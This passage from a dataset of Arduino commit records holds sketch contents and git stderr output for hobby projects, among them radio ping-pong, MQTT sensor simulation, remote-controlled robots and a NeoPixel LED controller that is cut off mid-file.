(flechas){Keyboard.write(KEY_RIGHT_ARROW);}else{Keyboard.print(\"f\");}}\n\/\/ \/\/f pone a pantalla completa en VLC fullscreen\n\/\/ \/\/else {Serial.print(results.value, HEX); Serial.println(\"-----DESCONOCIDO!\"); }\n\/\/}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'IR2Keyboard.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"990b99bce7f2c6ff060eac6bc021dd7d8fcda9ba","subject":"Initial commit with code","message":"Initial commit with code\n","repos":"FlyAwayDrones\/RF_receiver,FlyAwayDrones\/RF_receiver","old_file":"RF_receiver.ino","new_file":"RF_receiver.ino","new_contents":"\/*\n Copyright (C) 2011 J. Coliz <maniacbug@ymail.com>\n\n This program is free software; you can redistribute it and\/or\n modify it under the terms of the GNU General Public License\n version 2 as published by the Free Software Foundation.\n *\/\n\n\/**\n * Example for Getting Started with nRF24L01+ radios. \n *\n * This is an example of how to use the RF24 class. Write this sketch to two \n * different nodes. Put one of the nodes into 'transmit' mode by connecting \n * with the serial monitor and sending a 'T'. The ping node sends the current \n * time to the pong node, which responds by sending the value back. The ping \n * node can then see how long the whole cycle took.\n *\/\n\n#include <SPI.h>\n#include \"nRF24L01.h\"\n#include \"RF24.h\"\n#include \"printf.h\"\n\n\/\/\n\/\/ Hardware configuration\n\/\/\n\n\/\/ Set up nRF24L01 radio on SPI bus plus pins 9 & 10 \n\nRF24 radio(9,10);\n\n\/\/\n\/\/ Topology\n\/\/\n\n\/\/ Radio pipe addresses for the 2 nodes to communicate.\nconst uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };\n\n\/\/\n\/\/ Role management\n\/\/\n\/\/ Set up role. This sketch uses the same software for all the nodes\n\/\/ in this system. Doing so greatly simplifies testing. \n\/\/\n\n\/\/ The various roles supported by this sketch\ntypedef enum { role_ping_out = 1, role_pong_back } role_e;\n\n\/\/ The debug-friendly names of those roles\nconst char* role_friendly_name[] = { \"invalid\", \"Ping out\", \"Pong back\"};\n\n\/\/ The role of the current running sketch\nrole_e role = role_pong_back;\n\nvoid setup(void)\n{\n \/\/\n \/\/ Print preamble\n \/\/\n\n Serial.begin(57600);\n printf_begin();\n printf(\"\\n\\rRF24\/examples\/GettingStarted\/\\n\\r\");\n printf(\"ROLE: %s\\n\\r\",role_friendly_name[role]);\n printf(\"*** PRESS 'T' to begin transmitting to the other node\\n\\r\");\n\n \/\/\n \/\/ Setup and configure rf radio\n \/\/\n\n radio.begin();\n\n \/\/ optionally, increase the delay between retries & # of retries\n radio.setRetries(15,15);\n\n \/\/ optionally, reduce the payload size. seems to\n \/\/ improve reliability\n \/\/radio.setPayloadSize(8);\n\n \/\/\n \/\/ Open pipes to other nodes for communication\n \/\/\n\n \/\/ This simple sketch opens two pipes for these two nodes to communicate\n \/\/ back and forth.\n \/\/ Open 'our' pipe for writing\n \/\/ Open the 'other' pipe for reading, in position #1 (we can have up to 5 pipes open for reading)\n\n \/\/if ( role == role_ping_out )\n {\n \/\/radio.openWritingPipe(pipes[0]);\n radio.openReadingPipe(1,pipes[1]);\n }\n \/\/else\n {\n \/\/radio.openWritingPipe(pipes[1]);\n \/\/radio.openReadingPipe(1,pipes[0]);\n }\n\n \/\/\n \/\/ Start listening\n \/\/\n\n radio.startListening();\n\n \/\/\n \/\/ Dump the configuration of the rf unit for debugging\n \/\/\n\n radio.printDetails();\n}\n\nvoid loop(void)\n{\n \/\/\n \/\/ Ping out role. Repeatedly send the current time\n \/\/\n\n if (role == role_ping_out)\n {\n \/\/ First, stop listening so we can talk.\n radio.stopListening();\n\n \/\/ Take the time, and send it. This will block until complete\n unsigned long time = millis();\n printf(\"Now sending %lu...\",time);\n bool ok = radio.write( &time, sizeof(unsigned long) );\n \n if (ok)\n printf(\"ok...\");\n else\n printf(\"failed.\\n\\r\");\n\n \/\/ Now, continue listening\n radio.startListening();\n\n \/\/ Wait here until we get a response, or timeout (250ms)\n unsigned long started_waiting_at = millis();\n bool timeout = false;\n while ( ! radio.available() && ! timeout )\n if (millis() - started_waiting_at > 200 )\n timeout = true;\n\n \/\/ Describe the results\n if ( timeout )\n {\n printf(\"Failed, response timed out.\\n\\r\");\n }\n else\n {\n \/\/ Grab the response, compare, and send to debugging spew\n unsigned long got_time;\n radio.read( &got_time, sizeof(unsigned long) );\n\n \/\/ Spew it\n printf(\"Got response %lu, round-trip delay: %lu\\n\\r\",got_time,millis()-got_time);\n }\n\n \/\/ Try again 1s later\n delay(1000);\n }\n\n \/\/\n \/\/ Pong back role. Receive each packet, dump it out, and send it back\n \/\/\n\n if ( role == role_pong_back )\n {\n \/\/ if there is data ready\n if ( radio.available() )\n {\n \/\/ Dump the payloads until we've gotten everything\n unsigned long got_time;\n bool done = false;\n while (!done)\n {\n \/\/ Fetch the payload, and see if this was the last one.\n done = radio.read( &got_time, sizeof(unsigned long) );\n\n \/\/ Spew it\n printf(\"Got payload %lu...\",got_time);\n\n\t\/\/ Delay just a little bit to let the other unit\n\t\/\/ make the transition to receiver\n\tdelay(20);\n }\n\n \/\/ First, stop listening so we can talk\n radio.stopListening();\n\n \/\/ Send the final one back.\n radio.write( &got_time, sizeof(unsigned long) );\n printf(\"Sent response.\\n\\r\");\n\n \/\/ Now, resume listening so we catch the next packets.\n radio.startListening();\n }\n }\n\n \/\/\n \/\/ Change roles\n \/\/\n\n if ( Serial.available() )\n {\n char c = toupper(Serial.read());\n if ( c == 'T' && role == role_pong_back )\n {\n printf(\"*** CHANGING TO TRANSMIT ROLE -- PRESS 'R' TO SWITCH BACK\\n\\r\");\n\n \/\/ Become the primary transmitter (ping out)\n role = role_ping_out;\n radio.openWritingPipe(pipes[0]);\n radio.openReadingPipe(1,pipes[1]);\n }\n else if ( c == 'R' && role == role_ping_out )\n {\n printf(\"*** CHANGING TO RECEIVE ROLE -- PRESS 'T' TO SWITCH BACK\\n\\r\");\n \n \/\/ Become the primary receiver (pong back)\n role = role_pong_back;\n radio.openWritingPipe(pipes[1]);\n radio.openReadingPipe(1,pipes[0]);\n }\n }\n}\n\/\/ vim:cin:ai:sts=2 sw=2 ft=cpp\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RF_receiver.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"e4f27b24619eedf701d37a62dd090d07f7b73d71","subject":"Change Length","message":"Change Length\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Sensor Code UPDATED(ET) NEW 7 DIGIT\/arduinoSensorTX7DIGIT\/arduinoSensorTX7DIGIT.ino","new_file":"Sensor Code UPDATED(ET) NEW 7 DIGIT\/arduinoSensorTX7DIGIT\/arduinoSensorTX7DIGIT.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"4ac6947d2609d9051e28d3684d74f78d941b0ad3","subject":"aggiunto simulatore eth","message":"aggiunto simulatore eth\n","repos":"doceo\/plant,doceo\/plant,doceo\/plant,doceo\/plant","old_file":"mqtt_simulatore_eth\/mqtt_simulatore_eth.ino","new_file":"mqtt_simulatore_eth\/mqtt_simulatore_eth.ino","new_contents":"\n\/*\n Basic MQTT example\n\n This sketch demonstrates the basic capabilities of the library.\n It connects to an MQTT server then:\n - publishes \"hello world\" to the topic \"outTopic\"\n - subscribes to the topic \"inTopic\", printing out any messages\n it receives. NB - it assumes the received payloads are strings not binary\n\n It will reconnect to the server if the connection is lost using a blocking\n reconnect function. See the 'mqtt_reconnect_nonblocking' example for how to\n achieve the same result without blocking the main loop.\n \n*\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n\nString puntoAcq;\nString temp;\nString terUm;\nString AriaUm;\nString timeAcq;\n\nlong lastMsg = 0;\nchar msg[50];\nint value = 0;\n \n\n\/\/ Update these with values suitable for your network.\nbyte mac[] = { 0xDE, 0xED, 0xBA, 0xFE, 0xFE, 0xED };\nIPAddress ip(192, 168, 1, 101);\nIPAddress server(192, 168, 1, 69);\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i=0;i<length;i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n}\n\nEthernetClient ethClient;\nPubSubClient client(ethClient);\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (client.connect(\"arduinoClient\")) {\n Serial.println(\"connected\");\n\n \/\/ ... and resubscribe\n client.subscribe(\"acqDati\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid setup()\n{\n Serial.begin(57600);\n\n client.setServer(server, 1883);\n client.setCallback(callback);\n\n Ethernet.begin(mac, ip);\n \/\/ Allow the hardware to sort itself out\n delay(1500);\n}\n\nvoid loop()\n{\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n \n \n puntoAcq = String(random(1,4));\n temp = String(random(-40,50));\n terUm = String(random(0, 1024));\n AriaUm = String(random(0, 1024));\n timeAcq = String(random(1,31)) + \"\/\"+ String(random(1,13)) + \"\/\" + String(2018);\n \n\n String msg= puntoAcq + ',' + temp + ',' + terUm + ',' + AriaUm + ',' + timeAcq;\n \n long now = millis();\n if (now - lastMsg > 2000) {\n lastMsg = now;\n ++value;\n Serial.print(\"messaggio pubblicato: \");\n Serial.println(msg);\n char buf[64];\n msg.toCharArray(buf, 64);\n client.publish(\"acqDati\", buf);\n \n}\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mqtt_simulatore_eth\/mqtt_simulatore_eth.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"e8b3014dd078d6b025511f0e010067ac6f08d0a4","subject":"Firmware to turn the weapon on","message":"Firmware to turn the weapon on\n","repos":"Vido\/sumobot,Vido\/sumobot","old_file":"SOURCE\/combat\/weapon\/weapon.ino","new_file":"SOURCE\/combat\/weapon\/weapon.ino","new_contents":"#define LED_SAT 2\n#define RELAY 1\n#define PPM 3\n\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(LED_SAT, OUTPUT);\n pinMode(RELAY, OUTPUT);\n pinMode(PPM, INPUT);\n digitalWrite(LED_SAT, LOW);\n digitalWrite(RELAY, LOW);\n}\n\nvoid loop() {\n \/\/ PPM\n int pulse_width = pulseIn(PPM, HIGH);\n\n \/\/ SAT LED\n if(500 < pulse_width && pulse_width < 2500){\n digitalWrite(LED_SAT, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n }else{\n digitalWrite(LED_SAT, LOW);\n digitalWrite(RELAY, LOW); \/\/ fail safe\n return;\n }\n\n \/\/ RELAY\n if(1650 < pulse_width && pulse_width < 2500){\n digitalWrite(RELAY, HIGH);\n }else{\n digitalWrite(RELAY, LOW); \/\/ fail safe\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SOURCE\/combat\/weapon\/weapon.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12752afbf994c81d69c47329261622d63467bb9f","subject":"Add Apple Remote example","message":"Add Apple Remote example\n","repos":"makerworkshop\/arduino-hexbug-spider,xiam\/arduino_hexbug_spider","old_file":"examples\/hexbug_apple_remote\/hexbug_apple_remote.ino","new_file":"examples\/hexbug_apple_remote\/hexbug_apple_remote.ino","new_contents":"#include <AppleRemote.h>\n\n#include <hexbug_spider.h>\n\n#define SIGNAL_MAX_LENGTH 70\n\n#define PIN_IR_INPUT 2\n#define PIN_IR_OUTPUT 3\n\nint last_code = 0;\n\nunsigned int signal[SIGNAL_MAX_LENGTH];\n\nIRDump *irdumper;\nAppleRemote *appleRemote;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Apple Remote for Arduino.\");\n\n appleRemote = new AppleRemote(PIN_IR_OUTPUT, APPLE_REMOTE_MODEL_A);\n irdumper = new IRDump();\n}\n\nvoid receive_signals() {\n unsigned int *s = signal;\n\n bool captured;\n int code;\n\n code = 0;\n\n captured = irdumper->Capture(PIN_IR_INPUT, s, SIGNAL_MAX_LENGTH, 9500);\n\n if (captured) {\n code = appleRemote->Match(s);\n\n switch (code) {\n case APPLE_REMOTE_RIGHT:\n Serial.println(\"[right]\");\n break;\n case APPLE_REMOTE_LEFT:\n Serial.println(\"[left]\");\n break;\n case APPLE_REMOTE_UP:\n Serial.println(\"[up]\");\n break;\n case APPLE_REMOTE_DOWN:\n Serial.println(\"[down]\");\n break;\n case APPLE_REMOTE_REPEAT:\n Serial.println(\"[repeat]\");\n code = last_code;\n break;\n default:\n Serial.println(\"[?]\");\n code = 0;\n return;\n }\n\n if (code > 0) {\n\n int i;\n\n for (i = 0; i < 5; i++) {\n switch (code) {\n case APPLE_REMOTE_RIGHT:\n hexbug_spider_right();\n break;\n case APPLE_REMOTE_LEFT:\n hexbug_spider_left();\n break;\n case APPLE_REMOTE_UP:\n hexbug_spider_forward();\n break;\n case APPLE_REMOTE_DOWN:\n hexbug_spider_backward();\n break;\n default:\n return;\n }\n delay(50);\n }\n\n last_code = code;\n }\n }\n}\n\n\nvoid loop() {\n receive_signals();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/hexbug_apple_remote\/hexbug_apple_remote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a41c3c19877ec9bb1d0adf953048eb0a4ed2ff6c","subject":"Light optimalisations Master","message":"Light optimalisations Master\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a3ceaffcc83e0ea5b943893ec1f2aa7430ed529f","subject":"Pushbutton example","message":"Pushbutton example\n","repos":"myrjola\/Valokepakko,myrjola\/Valokepakko,myrjola\/Valokepakko","old_file":"Valokepakko.ino","new_file":"Valokepakko.ino","new_contents":"const int BUTTON_PIN = 12;\nconst int LED_PIN = 13;\n\n\/\/ See https:\/\/www.arduino.cc\/en\/Tutorial\/StateChangeDetection\n\nvoid setup() {\n \/\/ Initialize the button pin as a input.\n pinMode(BUTTON_PIN, INPUT);\n \/\/ initialize the LED as an output.\n pinMode(LED_PIN, OUTPUT);\n \/\/ Initialize serial communication for debugging.\n Serial.begin(9600);\n\n}\n\nint buttonState = 0;\nint lastButtonState = 0;\n\n\nvoid loop() {\n buttonState = digitalRead(BUTTON_PIN);\n\n if (buttonState != lastButtonState) {\n if (buttonState == HIGH) {\n \/\/ If the current state is HIGH then the button\n \/\/ went from off to on:\n Serial.println(\"on\");\n\n \/\/ Light the LED.\n digitalWrite(LED_PIN, HIGH);\n delay(100);\n digitalWrite(LED_PIN, LOW);\n\n } else {\n Serial.println(\"off\");\n }\n \/\/ Delay a little bit to avoid bouncing.\n delay(50);\n }\n lastButtonState = buttonState;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Valokepakko.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5069df19bb0566fe24b437993f2b12bbb86cc17a","subject":"Initial check-in of Oscilloscope.","message":"Initial check-in of Oscilloscope.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Oscilloscope1\/Oscilloscope1.ino","new_file":"Oscilloscope1\/Oscilloscope1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c900d065349bc6ba6311ea19c27bdf420d042c70","subject":"Added the AccelStepper example.","message":"Added the AccelStepper example.\n","repos":"pololu\/amis-30543-arduino","old_file":"examples\/AccelStepper\/AccelStepper.ino","new_file":"examples\/AccelStepper\/AccelStepper.ino","new_contents":"\/* This example shows how to use the AMIS-30543 stepper motor\ndriver with the AccelStepper library.\n\nYou will need to install the AccelStepper library for this\nexample to work. Documentation and installation instructions for\nthe AccelStepper library are available here:\n\n http:\/\/www.airspayce.com\/mikem\/arduino\/AccelStepper\/\n\nBefore using this example, be sure to change the\nsetCurrentMilliamps line to have an appropriate current limit for\nyour system. Also, see this library's documentation for\ninformation about how to connect the driver:\n\n http:\/\/pololu.github.io\/amis-30543-arduino\/\n*\/\n\n#include <SPI.h>\n#include <AMIS30543.h>\n#include <AccelStepper.h>\n\nconst uint8_t amisDirPin = 2;\nconst uint8_t amisStepPin = 3;\nconst uint8_t amisSlaveSelect = 4;\n\nAMIS30543 stepper;\nAccelStepper accelStepper(AccelStepper::DRIVER, amisStepPin, amisDirPin);\n\nvoid setup()\n{\n SPI.begin();\n stepper.init(amisSlaveSelect);\n delay(1);\n\n stepper.resetSettings();\n stepper.setCurrentMilliamps(132);\n stepper.setStepMode(32);\n stepper.enableDriver();\n\n accelStepper.setMaxSpeed(2000.0);\n accelStepper.setAcceleration(500.0);\n}\n\nvoid loop()\n{\n accelStepper.runToNewPosition(0);\n delay(500);\n accelStepper.runToNewPosition(10000);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/AccelStepper\/AccelStepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"968626d8042c86b2c206a5afb3147e98571c7381","subject":"Update EEPROMCalibrationFutabaT8FGSuperSketch.ino","message":"Update EEPROMCalibrationFutabaT8FGSuperSketch.ino","repos":"HarrisonOfTheNorth\/BitChannels,HarrisonOfTheNorth\/BitChannels","old_file":"EEPROMCalibrationFutabaT8FGSuperSketch\/EEPROMCalibrationFutabaT8FGSuperSketch.ino","new_file":"EEPROMCalibrationFutabaT8FGSuperSketch\/EEPROMCalibrationFutabaT8FGSuperSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/HarrisonOfTheNorth\/BitChannels.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"db730a99c71a8ac08314da6afcefd3c34078cd88","subject":"Create Mimic_LED_Controller_reduced_brightness.ino","message":"Create Mimic_LED_Controller_reduced_brightness.ino\n\nReduced brigthness version\n","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/Mimic_LED_Controller_reduced_brightness\/Mimic_LED_Controller_reduced_brightness.ino","new_file":"Arduino\/Mimic_LED_Controller_reduced_brightness\/Mimic_LED_Controller_reduced_brightness.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <string.h>\n\/\/Connect USB port to Pi USB Port\n\/\/For serial debugging - connect to the RX1 and TX1 pins\n\/\/Adafruit_NeoPixel stbdIEA = Adafruit_NeoPixel(24, 5, NEO_GRB + NEO_KHZ800);\n\/\/Adafruit_NeoPixel portIEA = Adafruit_NeoPixel(24, 6, NEO_GRB + NEO_KHZ800);\n\/\/Adafruit_NeoPixel moduleLED = Adafruit_NeoPixel(16, 7, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel stbdIEA = Adafruit_NeoPixel(24, 3, NEO_GRB);\nAdafruit_NeoPixel portIEA = Adafruit_NeoPixel(24, 5, NEO_GRB);\nAdafruit_NeoPixel moduleLED = Adafruit_NeoPixel(16, 7, NEO_GRB);\nconst int ledRedPin = 13;\nconst int ledBluePin = 52;\nconst int ledGreenPin = 53;\nString test;\n\ndouble V1A = 0.00;\ndouble V1B = 0.00;\ndouble V3A = 0.00;\ndouble V3B = 0.00;\ndouble V2A = 0.00;\ndouble V2B = 0.00;\ndouble V4A = 0.00;\ndouble V4B = 0.00;\nString module = \"unset module\";\nboolean Disco = false;\nint NULLIFY = 0;\n\nvoid setup()\n{\n pinMode(ledRedPin, OUTPUT);\n pinMode(ledBluePin, OUTPUT);\n pinMode(ledGreenPin, OUTPUT);\n\/\/ Serial1.begin(9600);\n Serial.begin(9600);\n Serial.setTimeout(50);\n portIEA.begin();\n stbdIEA.begin();\n moduleLED.begin();\n portIEA.show();\n stbdIEA.show();\n moduleLED.show();\n allSet_module(moduleLED.Color(111,0,0),5);\n}\n\nvoid loop()\n{\n digitalWrite(ledRedPin, LOW);\n digitalWrite(ledGreenPin, LOW);\n digitalWrite(ledBluePin, LOW);\n \/\/wSerial1.println(\"-------\");\n if(Serial.available())\n {\n checkSerial();\n }\n allSet_module(moduleLED.Color(0,0,0),0);\n \/\/Serial1.println(module);\n if(module == \"SM\")\n {\n moduleLED.setPixelColor(0, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"SM\");\n }\n else if(module == \"FGB\")\n {\n moduleLED.setPixelColor(1, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"FGB\");\n }\n else if(module == \"Node1\")\n {\n moduleLED.setPixelColor(2, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"Node1\");\n }\n else if(module == \"Node2\")\n {\n moduleLED.setPixelColor(6, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"Node2\");\n }\n else if(module == \"Node3\")\n {\n moduleLED.setPixelColor(4, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"Node3\");\n }\n else if(module == \"AL\")\n {\n moduleLED.setPixelColor(3, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"AL\");\n }\n else if(module == \"USL\")\n {\n moduleLED.setPixelColor(5, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"USL\");\n }\n else if(module == \"Col\")\n {\n moduleLED.setPixelColor(7, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"Col\");\n }\n else if(module == \"JEM\")\n {\n moduleLED.setPixelColor(8, moduleLED.Color(111,111,111));\n moduleLED.show();\n \/\/Serial1.println(\"JEM\");\n }\n else\n {\n allSet_module(moduleLED.Color(0,0,0),0);\n moduleLED.show();\n }\n \n if(V2A < 151.5)\n {\n portIEA.setPixelColor(0, portIEA.Color(111,0,0));\n portIEA.setPixelColor(1, portIEA.Color(111,0,0));\n portIEA.setPixelColor(2, portIEA.Color(111,0,0));\n portIEA.setPixelColor(3, portIEA.Color(111,0,0));\n portIEA.setPixelColor(4, portIEA.Color(111,0,0));\n portIEA.setPixelColor(5, portIEA.Color(111,0,0));\n portIEA.show();\n }\n else if(V2A > 160)\n {\n portIEA.setPixelColor(0, portIEA.Color(111,111,111));\n portIEA.setPixelColor(1, portIEA.Color(111,111,111));\n portIEA.setPixelColor(2, portIEA.Color(111,111,111));\n portIEA.setPixelColor(3, portIEA.Color(111,111,111));\n portIEA.setPixelColor(4, portIEA.Color(111,111,111));\n portIEA.setPixelColor(5, portIEA.Color(111,111,111));\n portIEA.show();\n }\n else\n {\n portIEA.setPixelColor(0, portIEA.Color(0,0,111));\n portIEA.setPixelColor(1, portIEA.Color(0,0,111));\n portIEA.setPixelColor(2, portIEA.Color(0,0,111));\n portIEA.setPixelColor(3, portIEA.Color(0,0,111));\n portIEA.setPixelColor(4, portIEA.Color(0,0,111));\n portIEA.setPixelColor(5, portIEA.Color(0,0,111));\n portIEA.show();\n }\n \n if(V4A < 151.5)\n {\n portIEA.setPixelColor(6, portIEA.Color(111,0,0));\n portIEA.setPixelColor(7, portIEA.Color(111,0,0));\n portIEA.setPixelColor(8, portIEA.Color(111,0,0));\n portIEA.setPixelColor(9, portIEA.Color(111,0,0));\n portIEA.setPixelColor(10, portIEA.Color(111,0,0));\n portIEA.setPixelColor(11, portIEA.Color(111,0,0));\n portIEA.show();\n }\n else if(V4A > 160)\n {\n portIEA.setPixelColor(6, portIEA.Color(111,111,111));\n portIEA.setPixelColor(7, portIEA.Color(111,111,111));\n portIEA.setPixelColor(8, portIEA.Color(111,111,111));\n portIEA.setPixelColor(9, portIEA.Color(111,111,111));\n portIEA.setPixelColor(10, portIEA.Color(111,111,111));\n portIEA.setPixelColor(11, portIEA.Color(111,111,111));\n portIEA.show();\n }\n else\n {\n portIEA.setPixelColor(6, portIEA.Color(0,0,111));\n portIEA.setPixelColor(7, portIEA.Color(0,0,111));\n portIEA.setPixelColor(8, portIEA.Color(0,0,111));\n portIEA.setPixelColor(9, portIEA.Color(0,0,111));\n portIEA.setPixelColor(10, portIEA.Color(0,0,111));\n portIEA.setPixelColor(11, portIEA.Color(0,0,111));\n portIEA.show();\n }\n\n if(V4B < 151.5)\n {\n portIEA.setPixelColor(12, portIEA.Color(111,0,0));\n portIEA.setPixelColor(13, portIEA.Color(111,0,0));\n portIEA.setPixelColor(14, portIEA.Color(111,0,0));\n portIEA.setPixelColor(15, portIEA.Color(111,0,0));\n portIEA.setPixelColor(16, portIEA.Color(111,0,0));\n portIEA.setPixelColor(17, portIEA.Color(111,0,0));\n portIEA.show();\n }\n else if(V4B > 160)\n {\n portIEA.setPixelColor(12, portIEA.Color(111,111,111));\n portIEA.setPixelColor(13, portIEA.Color(111,111,111));\n portIEA.setPixelColor(14, portIEA.Color(111,111,111));\n portIEA.setPixelColor(15, portIEA.Color(111,111,111));\n portIEA.setPixelColor(16, portIEA.Color(111,111,111));\n portIEA.setPixelColor(17, portIEA.Color(111,111,111));\n portIEA.show();\n }\n else\n {\n portIEA.setPixelColor(12, portIEA.Color(0,0,111));\n portIEA.setPixelColor(13, portIEA.Color(0,0,111));\n portIEA.setPixelColor(14, portIEA.Color(0,0,111));\n portIEA.setPixelColor(15, portIEA.Color(0,0,111));\n portIEA.setPixelColor(16, portIEA.Color(0,0,111));\n portIEA.setPixelColor(17, portIEA.Color(0,0,111));\n portIEA.show();\n }\n\n if(V2B < 151.5)\n {\n portIEA.setPixelColor(18, portIEA.Color(111,0,0));\n portIEA.setPixelColor(19, portIEA.Color(111,0,0));\n portIEA.setPixelColor(20, portIEA.Color(111,0,0));\n portIEA.setPixelColor(21, portIEA.Color(111,0,0));\n portIEA.setPixelColor(22, portIEA.Color(111,0,0));\n portIEA.setPixelColor(23, portIEA.Color(111,0,0));\n portIEA.show();\n }\n else if(V2B > 160)\n {\n portIEA.setPixelColor(18, portIEA.Color(111,111,111));\n portIEA.setPixelColor(19, portIEA.Color(111,111,111));\n portIEA.setPixelColor(20, portIEA.Color(111,111,111));\n portIEA.setPixelColor(21, portIEA.Color(111,111,111));\n portIEA.setPixelColor(22, portIEA.Color(111,111,111));\n portIEA.setPixelColor(23, portIEA.Color(111,111,111));\n portIEA.show();\n }\n else\n {\n portIEA.setPixelColor(18, portIEA.Color(0,0,111));\n portIEA.setPixelColor(19, portIEA.Color(0,0,111));\n portIEA.setPixelColor(20, portIEA.Color(0,0,111));\n portIEA.setPixelColor(21, portIEA.Color(0,0,111));\n portIEA.setPixelColor(22, portIEA.Color(0,0,111));\n portIEA.setPixelColor(23, portIEA.Color(0,0,111));\n portIEA.show();\n }\n if(V1A < 151.5)\n {\n stbdIEA.setPixelColor(0, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(1, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(2, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(3, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(4, stbdIEA.Color(111,0,0));\n stbdIEA.setPixelColor(5, stbdIEA.Color(111,0,0));\n stbdIEA.show();\n }\n else if(V1A > 160)\n {\n stbdIEA.setPixelColor(0, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(1, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(2, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(3, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(4, stbdIEA.Color(111,111,111));\n stbdIEA.setPixelColor(5, stbdIEA.Color(111,111,111));\n stbdIEA.show();\n }\n else\n {\n stbdIEA.setPixelColor(0, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(1, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(2, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(3, stbdIEA.Color(0,0,111));\n stbdIEA.setPixelColor(4, stbdIEA.Color(0,0,111));\n 